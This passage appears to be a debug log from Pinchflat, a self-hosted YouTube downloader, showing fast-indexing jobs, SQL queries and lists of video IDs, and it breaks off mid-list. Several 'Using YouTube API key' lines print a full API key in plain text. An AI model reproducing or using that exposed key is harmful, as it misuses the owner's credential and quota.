"Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", ...] 16:45:43.900 [debug] QUERY OK source="media_items" db=0.4ms idle=153.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 16:45:43.900 [debug] QUERY OK source="tasks" db=0.1ms idle=154.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268313, 28, ~U[2026-10-09 21:45:43Z], ~U[2026-10-09 21:45:43Z]] 16:45:43.901 [info] {"args":{"id":28},"id":5268273,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":155824,"event":"job:stop","queue_time":420726,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:44.746 [info] {"args":{"id":20},"id":5268274,"meta":{},"system_time":1791582344746183251,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:44.746 [info] {"args":{"id":43},"id":5268275,"meta":{},"system_time":1791582344746223706,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:44.746 [debug] QUERY OK source="sources" db=0.1ms idle=845.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 16:45:44.746 [debug] QUERY OK source="sources" db=0.1ms idle=845.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 16:45:44.746 [debug] QUERY OK source="settings" db=0.1ms idle=839.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:44.746 [debug] QUERY OK source="settings" db=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:44.747 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:44.747 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:44.747 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:44.747 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 16:45:44.747 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:44.747 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 16:45:44.747 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:44.747 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:44.747 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:44.747 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:45.007 [info] {"source":"oban","duration":9998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:45.187 [debug] QUERY OK source="media_items" db=0.6ms idle=439.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "31b669NGSbU", "xBJ3EvFzHRk", "UTigBRy4EWA", "u_lWztXd9jw", "uzr_gkc81SQ", "CSksN3XLepQ", "Lhx1j6FShA8", "lPPCjg79EyI", "M3GPI3jShKQ", "QhEWeDT_9gI", "om8wrIN7I5g", "pW4N8ppO5sU", "T42aB4OghFc", "ozik7Ba4gkU", "9lbfqrKKOyA", "86OoMc0NWfM", "KiVx5j9C9Mc", "76C3VtR2NYQ", "eEEPdEY0zic", "pxfnSX8C3aQ", "hkJUk6Lak_I", "X5mw5v9tius", "QUGHPuUU5FA", "CNomQhGnaMU", "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", ...] 16:45:45.188 [debug] QUERY OK source="media_items" db=0.4ms idle=440.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 16:45:45.189 [debug] QUERY OK source="tasks" db=0.6ms idle=181.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268314, 43, ~U[2026-10-09 21:45:45Z], ~U[2026-10-09 21:45:45Z]] 16:45:45.190 [info] {"args":{"id":43},"id":5268275,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":443494,"event":"job:stop","queue_time":122076,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:45.367 [debug] QUERY OK source="media_items" db=0.5ms idle=177.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "YcXxJviqQfE", "g6VmtRtHMeA", "zCj1ZKCgdoI", "YBTfuph1cdE", "ryRdagoZR88", "zD0WRwU4AqE", "GB6lntnVi4A", "QQ97R1nhq4M", "5C60QMnLtX8", "-l28H03fnKk", "FefIWhfl5Lg", "d0t7wpkFc6U", "clsbuM6uf1A", "6Reu1WS3BhM", "bYw5GAzP2Ds", "KY_4oUIG_z8", "4-eB-n5NYRs", "9s69aThM7rA", "Gs5r8iGPjSg", "We-lvUeRGb0", "8JhH6UO_pRY", "fOwC95ZXh08", "i4eCZ6dLVrg", "h_NEOIwrG-E", "1q-hpaepgk0", "cAmEAgNc0eY", "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", ...] 16:45:45.368 [debug] QUERY OK source="media_items" db=0.4ms idle=178.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 16:45:45.369 [debug] QUERY OK source="tasks" db=0.1ms idle=172.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268315, 20, ~U[2026-10-09 21:45:45Z], ~U[2026-10-09 21:45:45Z]] 16:45:45.369 [info] {"args":{"id":20},"id":5268274,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":622997,"event":"job:stop","queue_time":296799,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:45.747 [info] {"args":{"id":23},"id":5268276,"meta":{},"system_time":1791582345747161128,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:45.747 [debug] QUERY OK source="sources" db=0.1ms idle=378.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 16:45:45.747 [debug] QUERY OK source="settings" db=0.0ms idle=378.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:45.747 [debug] QUERY OK source="media_profiles" db=0.1ms idle=372.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:45.748 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:45.748 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 16:45:45.748 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:45.748 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:46.064 [debug] QUERY OK source="media_items" db=0.5ms idle=316.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "F3BGWNuVMUE", "zy-ZowzY8rI", "iPqkxKao6Bk", "0EVEzVz1iTY", "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", ...] 16:45:46.065 [debug] QUERY OK source="media_items" db=0.2ms idle=317.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 16:45:46.066 [debug] QUERY OK source="tasks" db=0.1ms idle=317.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268316, 23, ~U[2026-10-09 21:45:46Z], ~U[2026-10-09 21:45:46Z]] 16:45:46.066 [info] {"args":{"id":23},"id":5268276,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":318989,"event":"job:stop","queue_time":897987,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:47.749 [info] {"args":{"id":37},"id":5268277,"meta":{},"system_time":1791582347749155855,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:47.749 [debug] QUERY OK source="sources" db=0.1ms idle=55.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 16:45:47.749 [debug] QUERY OK source="settings" db=0.0ms idle=55.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:47.749 [debug] QUERY OK source="media_profiles" db=0.1ms idle=55.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:47.749 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:47.750 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 16:45:47.750 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:47.750 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:47.914 [debug] QUERY OK source="media_items" db=0.5ms idle=164.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "3BLxx5GpPkQ", "xXW35OmG_2s", "gMMPAjnrsg8", "6k3MCvZcNf0", "kvfyuReITgE", "-T_TIqokEBM", "17qdDkP14Ao", "FPHOLeDqI9o", "-s86EG5s4to", "7ymHZ4ad1zg", "IgrA6UWGE_w", "tA9FzgkzauM", "aqMJUkmPHUw", "cSOvVHmIwUE", "dChU-mIqI0s", "Oka7yNGFBOA", 